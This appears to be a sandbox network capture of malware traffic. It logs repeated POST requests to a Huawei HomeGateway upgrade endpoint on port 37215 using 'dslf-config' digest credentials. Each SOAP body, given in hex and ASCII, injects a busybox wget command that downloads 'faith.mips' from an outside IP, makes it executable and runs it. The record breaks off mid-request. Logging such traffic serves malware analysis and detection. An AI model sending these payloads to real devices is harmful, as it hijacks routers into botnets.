Nov 19, 2023 09:16:24.711376905 CET	1149	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:26.727066040 CET	1201	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:30.918504953 CET	1316	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:39.113375902 CET	1563	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:55.235275984 CET	1962	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:28.510606050 CET	2876	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.23	59056	156.235.97.221	37215

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:16:22.812829971 CET	1111	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:23.691473007 CET	1115	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:24.711376905 CET	1149	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:26.727066040 CET	1201	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 